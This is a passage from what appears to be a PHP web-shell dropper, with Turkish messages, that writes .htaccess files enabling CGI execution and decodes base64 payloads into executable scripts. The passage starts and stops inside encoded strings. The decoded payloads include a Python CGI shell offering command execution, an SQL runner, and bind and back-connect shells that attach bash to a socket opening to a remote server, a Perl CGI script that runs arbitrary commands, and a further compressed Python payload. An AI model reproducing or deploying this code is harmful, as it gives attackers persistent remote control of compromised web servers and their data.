CAgcGFzcwogICAgICAgIHByaW50ICc8L3ByZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PiIKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25TUUwoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHRoZXBocCA9ICcnJwokdXNlciA9ICJMT0xVU0VSRlVDSyI7JHBhc3N3b3JkID0gIkxPTFBBU1NGVUNLIjsgJGhvc3QgPSAiTE9MSE9TVEZVQ0siOyAkZGIgPSAiTE9MREJGVUNLIjsgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzc3dvcmQpOyAkcXVlcnkgPSAiTE9MUVVFUllGVUNLIjsgbXlzcWxfc2VsZWN0X2RiKCRkYik7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOyAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZm9yKCRpID0gMDskaTxjb3VudCgkcm93KTskaSsrKSB7IGVjaG8gJHJvd1skaV0uJzxicj4nO30gfQonJycKICAgIGlmIF9SRVFVRVNULmhhc19rZXkoJ2RiJyk6CiAgICAgICAgcHJpbnQgIiIiPGgxPlNRTDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBtZXRob2Q9J3Bvc3QnPgoJPHNwYW4+UnVuIFNRTDwvc3Bhbj48YnIvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc3FsJz4KCUhvc3Q6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydob3N0J10rIiIiJz5EYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nIiIiK19SRVFVRVNUWydkYiddKyIiIic+IFVzZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0nIiIiK19SRVFVRVNUWyd1c2VyJ10rIiIiJz4gUGFzczogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSciIiIrX1JFUVVFU1RbJ3Bhc3MnXSsiIiInPiBRdWVyeTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3F1ZXJ5JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydxdWVyeSddKyIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgZWxzZToKICAgICAgICBwcmludCAiIiI8aDE+U1FMPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG1ldGhvZD0ncG9zdCc+Cgk8c3Bhbj5SdW4gU1FMPC9zcGFuPjxici8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzcWwnPgoJSG9zdDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nbXlzcWwnPiBVc2VyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3Jvb3QnPiBQYXNzOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J2RvbmdzJz4gUXVlcnk6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdxdWVyeScgdmFsdWU9J3Nob3cgZGF0YWJhc2VzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT48YnI+PC9kaXY+IiIiCiAgICBpZiBfUkVRVUVTVC5oYXNfa2V5KCdkYicpOgogICAgICAgIHRoZXBocCA9IHRoZXBocC5yZXBsYWNlKCJMT0xVU0VSRlVDSyIsIF9SRVFVRVNUWyd1c2VyJ10pLnJlcGxhY2UoIkxPTFBBU1NGVUNLIiwgX1JFUVVFU1RbJ3Bhc3MnXSkucmVwbGFjZSgiTE9MUVVFUllGVUNLIiwgX1JFUVVFU1RbJ3F1ZXJ5J10pLnJlcGxhY2UoIkxPTERCRlVDSyIsIF9SRVFVRVNUWydkYiddKS5yZXBsYWNlKCJMT0xIT1NURlVDSyIsIF9SRVFVRVNUWydob3N0J10pCiAgICAgICAgdGhlcGhwID0gYjY0ZW5jb2RlKHRoZXBocCkgIyBjYXVzZSBmdWNrIGVzY2FwaW5nIHNoaXQKICAgICAgICB0aGVwaHAgPSAnXCIlc1wiJyAlIHRoZXBocAogICAgICAgIHByaW50IGNvbW1hbmRzLmdldG91dHB1dCgiZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCIrdGhlcGhwKyIpKTsgPz4nIHwgcGhwIikucmVwbGFjZSgiXG4iLCI8YnI+IikKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25OZXR3b3JrKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSAhPSAiIjoKICAgICAgICBzb2NrPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICBzb2NrLnNldHRpbWVvdXQoMTApCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAiYnAiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5iaW5kKCgnbG9jYWxob3N0JywgaW50KF9SRVFVRVNUWydwMiddKSkpCiAgICAgICAgICAgIHNvY2subGlzdGVuKDApCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiZXJyb3IiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQgImRvbmUiCiAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAoYyxhZGRyKT1zb2NrLmFjY2VwdCgpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAxKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDIpCiAgICAgICAgICAgIG9zLnN5c3RlbSgnL2Jpbi9zaCAtaScpCiAgICAgICAgICAgIGMuc2h1dGRvd24oMikKICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiYmMiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL2Jhc2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiY2MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgdHJ5OiBvcy5zZXRyZXVpZCgwLDApCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICAgICB1bmFtZSA9IGNvbW1hbmRzLmdldG91dHB1dCgidW5hbWUgLWEiKQogICAgICAgICAgICBpZCA9IGNvbW1hbmRzLmdldG91dHB1dCgiaWQiKQogICAgICAgICAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5mb3JrKCkgCiAgICAgICAgICAgIGlmIHBpZCA9PSAwOgogICAgICAgICAgICAgICAgc29jay5zZW5kKGFzY2lpKQogICAgICAgICAgICAgICAgc29jay5zZW5kKHVuYW1lKyJcclxuIitpZCsiXHJcbiIpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwiL2Rldi9udWxsIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSE9NRSIsb3MuZ2V0Y3dkKCkpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBBVEgiLCcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOicrb3MuZ2V0ZW52KCdQQVRIJykpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBTMSIsY29sb3IrJycnXHVAXGg6XHdcJCAnJycrcmVzZXQpCiAgICAgICAgICAgICAgICBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoIlxyXG4iKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigxKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgYiA9IHNvY2subWFrZWZpbGUob3MuT19SRE9OTFl8b3MuT19OT05CTE9DSykgCiAgICAgICAgICAgICAgICBjID0gb3MuZmRvcGVuKGNoaWxkUHJvY2VzcywncisnKSAKICAgICAgICAgICAgICAgIHkgPSB7YjpjLGM6Yn0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgICAgICBmb3IgbiBpbiBzZWxlY3Quc2VsZWN0KFtiLGNdLFtdLFtdKVswXTogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ID0gb3MucmVhZChuLmZpbGVubygpLDQwOTYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLndyaXRlKHopIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpIAogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgICAgICAKICAgIHByaW50ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDQ4Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHNoZWxsOiA8L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdjYycsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkNoaXBweTEzMzcgZW5oYW5jZWQgYmFjay1jb25uZWN0IHNoZWxsIChyZXF1aXJlcyBzb2NhdCk6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj48L2Rpdj4iIiIKICAgIHByaW50Rm9vdGVyKCkKZGVmIGFjdGlvbkRET1MoKToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGltZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAgICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCAtaScpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJjYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICB0cnk6IG9zLnNldHJldWlkKDAsMCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgICAgIGlkID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJpZCIpCiAgICAgICAgICAgIHBpZCwgY2hpbGRQcm9jZXNzID0gcHR5LmZvcmsoKSAKICAgICAgICAgICAgaWYgcGlkID09IDA6CiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoYXNjaWkpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQodW5hbWUrIlxyXG4iK2lkKyJcclxuIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgICAgICAgICAgb3MucHV0ZW52KCJIT01FIixvcy5nZXRjd2QoKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUEFUSCIsJy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiVEVSTSIsJ2xpbnV4JykKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUFMxIixjb2xvcisnJydcdUBcaDpcd1wkICcnJytyZXNldCkKICAgICAgICAgICAgICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgICAgICAgICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDEpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05PTkJMT0NLKSAKICAgICAgICAgICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpIAogICAgICAgICAgICAgICAgeSA9IHtiOmMsYzpifQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlbbl0ud3JpdGUoeikgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLmZsdXNoKCkgCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAgICAgICAgIAogICAgcHJpbnQgIiIiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzIwNDgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgo8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3Qgc2hlbGw6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2NjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+Q2hpcHB5MTMzNyBlbmhhbmNlZCBiYWNrLWNvbm5lY3Qgc2hlbGwgKHJlcXVpcmVzIHNvY2F0KTogPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIiIrb3MuZW52aXJvblsnUkVNT1RFX0FERFInXSsiIiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgcHJpbnRGb290ZXIoKQoKdHJ5OgogICAgewogICAgICAgICdmaWxlcycgOiBhY3Rpb25GaWxlcywKICAgICAgICAnZmlsZVRvb2xzJyA6IGFjdGlvbkZpbGVUb29scywKICAgICAgICAnY29uc29sZScgOiBhY3Rpb25Db25zb2xlLAogICAgICAgICdweXRob24nIDogYWN0aW9uUHl0aG9uLAogICAgICAgICduZXR3b3JrJyA6IGFjdGlvbk5ldHdvcmssCiAgICAgICAgJ3NxbCcgOiBhY3Rpb25TUUwsCiAgICAgICAgJ2Rkb3MnIDogYWN0aW9uRERPUwogICAgfVtfUkVRVUVTVFsnYSddXSgpCmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK';
	$file = fopen("fuhosin.xx" ,"w+");
	$write = fwrite ($file ,base64_decode($pythonp));
	fclose($file);
	chmod("fuhosin.xx",0755);
	echo '<center><p>Cgi Telnet 2 Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=cgitelnet2/fuhosin.xx target="_blank">Cgi Telnet 2</a></center>';
}
if(isset($_POST['cgi4'])){
	mkdir("cgirun");
	chdir("cgirun");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "AddHandler cgi-script .pr";    
	fwrite($dosya,$metin);
	fclose($dosya);
	$pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojCiMgUGVybEtpdC0wLjEgLSBbRG9hciB1c2VyaWkgaW5yZWdpc3RyYXRpIHBvdCB2ZWRlYSBsaW5rdXJpbGUuIF0KIwojIGNtZC5wbDogUnVuIGNvbW1hbmRzIG9uIGEgd2Vic2VydmVyCgp1c2Ugc3RyaWN0OwoKbXkgKCRjbWQsICVGT1JNKTsKCiR8PTE7CgpwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxcclxuIjsKcHJpbnQgIlxyXG4iOwoKIyBHZXQgcGFyYW1ldGVycwoKJUZPUk0gPSBwYXJzZV9wYXJhbWV0ZXJzKCRFTlZ7J1FVRVJZX1NUUklORyd9KTsKCmlmKGRlZmluZWQgJEZPUk17J2NtZCd9KSB7CiAgJGNtZCA9ICRGT1JNeydjbWQnfTsKfQoKcHJpbnQgJzxIVE1MPgo8aW1nIHNyYz0iaHR0cDovL3IwMHRzaGVsbC5pbmZvL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzA0L2Nyb3BwZWQtbG9nby5wbmciIHdpZHRoPSIzMDAiIGhlaWdodD0iMTAwIj48aDE+Q2dpIENvbW1hbmQgUnVuPGJyPnIwMHRzaGVsbC5pbmZvPC9oMT4KPGJvZHk+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9NDUgdmFsdWU9IicgLiAkY21kIC4gJyI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSdW4iPgo8L2Zvcm0+CjxwcmU+JzsKCmlmKGRlZmluZWQgJEZPUk17J2NtZCd9KSB7CiAgcHJpbnQgIlJlc3VsdHMgb2YgJyRjbWQnIGV4ZWN1dGlvbjpcblxuIjsKICBwcmludCAiXG4iOwoKICBvcGVuKENNRCwgIigkY21kKSAyPiYxIHwiKSB8fCBwcmludCAiQ291bGQgbm90IGV4ZWN1dGUgY29tbWFuZCI7CgogIHdoaWxlKDxDTUQ+KSB7CiAgICBwcmludDsKICB9CgogIGNsb3NlKENNRCk7CiAgcHJpbnQgIlxuIjsKfQoKcHJpbnQgIjwvcHJlPiI7CgpzdWIgcGFyc2VfcGFyYW1ldGVycyAoJCkgewogIG15ICVyZXQ7CgogIG15ICRpbnB1dCA9IHNoaWZ0OwoKICBmb3JlYWNoIG15ICRwYWlyIChzcGxpdCgnJicsICRpbnB1dCkpIHsKICAgIG15ICgkdmFyLCAkdmFsdWUpID0gc3BsaXQoJz0nLCAkcGFpciwgMik7CiAgICAKICAgIGlmKCR2YXIpIHsKICAgICAgJHZhbHVlID1+IHMvXCsvIC9nIDsKICAgICAgJHZhbHVlID1+IHMvJSguLikvcGFjaygnYycsaGV4KCQxKSkvZWc7CgogICAgICAkcmV0eyR2YXJ9ID0gJHZhbHVlOwogICAgfQogIH0KCiAgcmV0dXJuICVyZXQ7Cn0=';
	$file = fopen("cgi.pr" ,"w+");
	$write = fwrite ($file ,base64_decode($pythonp));
	fclose($file);
	chmod("cgi.pr",0755);
	echo '<center><p>Cgi Command Run Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=cgirun/cgi.pr target="_blank">Cgi Command Run</a></center>';
}
if(isset($_POST['cgi5'])){
	mkdir("alfacgi1");
	chdir("alfacgi1");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";    
	fwrite($dosya,$metin);
	fclose($dosya);
	$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHpsaWIsIGJhc2U2NApldmFsKGNvbXBpbGUoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVKeWxGOXR5MnpiMjJmb0tETHhiVXF1ckZUdk42TmE2WHFmMWJOTm1FcmN2dGtjREVxQ0lDUWx3UWRDMjZ2RisrNTREa0JMVmFPTzJhOC9ZQk03OWZtRE5adG81a25taGpTWHhXdHBvNXY4TmhXSlJKc0p1Unp6R29yQ0FWYkN5N05TbzVhYnNBMTVmbC8yMXNBanBSNndVcjAvN2xja3lHWFVTbzNOaVpTNUlRMkZOZ3VlR2d6VXNGaEdMUDNuVWo5Wkl0Yjc2dVVGdnpqV2pCcmtCRndDMUsxQ3RJeE9pUzlEMlhocXRoaWtyVjUvRUpxUWZMejVjdmI5ZS9YVCs3cEoyUWZreU5yS3dpb0ZDaXhiQnpSN2lYVWRrcGZnOU5xVWRMaExDc29SZDVEeU1rZDFSbk1xTXIwckxwZXFUN1VGWDFyTXZkQ0hVQkhEM1VZZHhwa3QwNnRHUkVXV1ZJWGFiZUdnRTQrRWVFZDYycVd4bEZQSEVuVVNiSERtczVmQ3RGQm4vYUxWaGE4U01jdzRBaEE4aFB2Y3NxMFFZeEVHM3c2WDVITUFCQUg0RUlqRE5rL293RGl2MTcwcGJFZnJnRHFQWHAxekVtb3NRc0xxT0NCZ0NrV2Y3RWhGZ2RWdVMvTWZOZVBycWppd1dKSWc1Q2RDM3lxdmd6cVNIRXVCdk1NTnZoT0IzOGNBRHdMeW9qQkhLL3ROSmJ3S0U1RjN3WkpGQjBvVEJyUXI2Z1RkUWFldTRNUVdjZDdTQkEwaEZNaDJ6ckF3eHdBYzVCeWoyQU9zNmEwRENDMXozMllJcUhZamR5anNQczRiWmRNaWlFditIZEVpN25mZVEvUVZtU1hCRDVuQ3ZvSTQybVZqUVdHZmFUSS9Icjc0K0dZOW5kQm4wNmpyRXNGYWxNR0czRjh4SFNMTDg5Z1hLdlhLNC9QRHI1WWU2SExZY0RzcWVSSWs0T1hNY2RtYnRTTzcrRnFEUFZ5c3NvOVhLUlhpMXlwbFVxeFdHMlpVd29SZGFXU0FkMkUwaHBzU0tSenRLYlo3ZG1sdEZHNlJnamxmTGVRclZzWnhiYVRPeHZJQ0U0aVRha1BNZjM1NlRhM0gramd6SXhmZFg1UDNHcGxyTlJ4NXRuZ3ZMb01hWUtZVmQwRit1M3c3ZTBPWGNXYkw4eHhOVVZ5YVZtQ3F0eE96NWVMVktVTnVxZUVveXpleVVHTGxPN1V6ZkN3TVhEMU9TU3M2Rm1ua1BrT1BKV1pLQUV4OGt0K21Vbkp5T2k4Y1pseVdreDJZS29VZldnd2ppLzJtR2hnMTJmQVFVU2xIS2N2YVFTaXNHNExFWXJGZjZ3YkJpOXB5eFNHUlBPVE5ycVFaT0JXQ092SUhlU3NpbUFjdmtXazFKRHVwa1loWnB3d1hvYzFJOGtsSm5ra09ENERQc2wydWpLOFduMkVBVkNNRWdBZmJqb0V3WlJ6M0c4SHNLVk1mankxZmowL09hMDhBd0xxdHlpcURHdU1rWkt2Qm56SWdyVTZLWENnMHhGT1ovT01ZYmkrTkJxL1ZUVzJlMG9RNURKaEs3OWJMenhMTlVSV1Z2TUdzV1pSWGwwdDQ5MVFJYmVXMWVMcjZIM1ZUSEVqcW5Xb3RERG5nK2